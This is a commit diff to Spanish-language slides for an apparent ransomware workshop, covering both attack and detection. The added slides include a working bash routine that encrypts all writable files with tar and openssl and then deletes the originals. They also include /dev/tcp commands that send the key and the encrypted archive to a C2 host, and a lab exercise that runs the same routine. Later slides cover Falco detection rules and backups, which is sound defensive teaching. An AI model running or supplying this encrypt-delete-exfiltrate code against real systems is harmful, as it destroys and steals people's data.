chores
This commit is contained in:
@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
|
||||
|
||||
---
|
||||
|
||||
## tar | openssl: un proceso para cifrar todo
|
||||
|
||||
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
|
||||
|
||||
```bash
|
||||
# todos los archivos -> un stream -> un blob cifrado
|
||||
printf '%s\0' "${TARGETS[@]}" \
|
||||
| tar --null -T - -czf - \
|
||||
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||
> /tmp/.vault.enc
|
||||
|
||||
# eliminar originales en batch
|
||||
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
```
|
||||
|
||||
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
|
||||
|
||||
---
|
||||
|
||||
## y encima se lleva el vault
|
||||
|
||||
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
|
||||
|
||||
```bash
|
||||
# clave al C2 por tcp/9090
|
||||
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
||||
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
|
||||
|
||||
# vault cifrado al C2 por tcp/9091
|
||||
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
|
||||
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
|
||||
cat /tmp/.vault.enc
|
||||
} > /dev/tcp/"$C2"/9091
|
||||
```
|
||||
|
||||
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
|
||||
|
||||
---
|
||||
|
||||
## La ventana de detección se cierra
|
||||
|
||||
Benchmark real, root, servidor, `xargs -P 36`:
|
||||
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 4: Nota de rescate
|
||||
## Ejercicio 4: tarbulk en acción
|
||||
|
||||
restaura el snapshot y ejecuta la variante `tar | openssl`:
|
||||
|
||||
```bash
|
||||
KEY=$(openssl rand -hex 32)
|
||||
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
|
||||
|
||||
time printf '%s\0' "${TARGETS[@]}" \
|
||||
| tar --null -T - -czf - \
|
||||
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||
> /tmp/.vault.enc
|
||||
|
||||
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
```
|
||||
|
||||
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
|
||||
|
||||
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Nota de rescate
|
||||
|
||||
```bash
|
||||
find / -type d -writable -print0 \
|
||||
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Persistencia
|
||||
## Ejercicio 6: Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 6: Forense post-ataque
|
||||
## Ejercicio 7: Forense post-ataque
|
||||
|
||||
```bash
|
||||
# ¿Qué quedó en auth.log?
|
||||
@@ -388,6 +449,84 @@ Lo que hay que buscar:
|
||||
|
||||
---
|
||||
|
||||
## Detección comportamental: Falco
|
||||
|
||||
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
|
||||
|
||||
- Sin agente en userspace frágil
|
||||
- Reglas en YAML, legibles por humanos
|
||||
- Se integra con cualquier SIEM vía Falcosidekick
|
||||
|
||||
---
|
||||
|
||||
## Instalar Falco: Debian / Ubuntu
|
||||
|
||||
```bash
|
||||
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
|
||||
| sudo gpg --dearmor \
|
||||
-o /usr/share/keyrings/falco-archive-keyring.gpg
|
||||
|
||||
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
|
||||
https://download.falco.org/packages/deb stable main" \
|
||||
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
|
||||
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y apt-transport-https dialog
|
||||
sudo apt-get install -y falco
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Instalar Falco: RHEL / Rocky / Fedora
|
||||
|
||||
```bash
|
||||
sudo rpm --import \
|
||||
https://falco.org/repo/falcosecurity-packages.asc
|
||||
|
||||
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
|
||||
https://falco.org/repo/falcosecurity-rpm.repo
|
||||
|
||||
sudo yum update -y
|
||||
sudo yum install -y dialog
|
||||
sudo yum install -y falco
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Desplegar las reglas QueComanTierra
|
||||
|
||||
```bash
|
||||
# Clonar el repositorio del taller
|
||||
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
|
||||
|
||||
# Copiar reglas al directorio de Falco
|
||||
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
|
||||
/etc/falco/rules.d/tarssl.yaml
|
||||
|
||||
# Recargar todos los servicios de Falco
|
||||
systemctl restart falco-* --all
|
||||
```
|
||||
|
||||
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
|
||||
|
||||
---
|
||||
|
||||
## Verificar que las reglas están activas
|
||||
|
||||
```bash
|
||||
# Ver reglas cargadas
|
||||
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
|
||||
|
||||
# Ver logs en tiempo real
|
||||
journalctl -fu falco
|
||||
|
||||
# Probar: lanzar openssl enc desde bash
|
||||
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
|
||||
# → Debe aparecer WARNING en journalctl
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Prevención: backups inmutables
|
||||
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user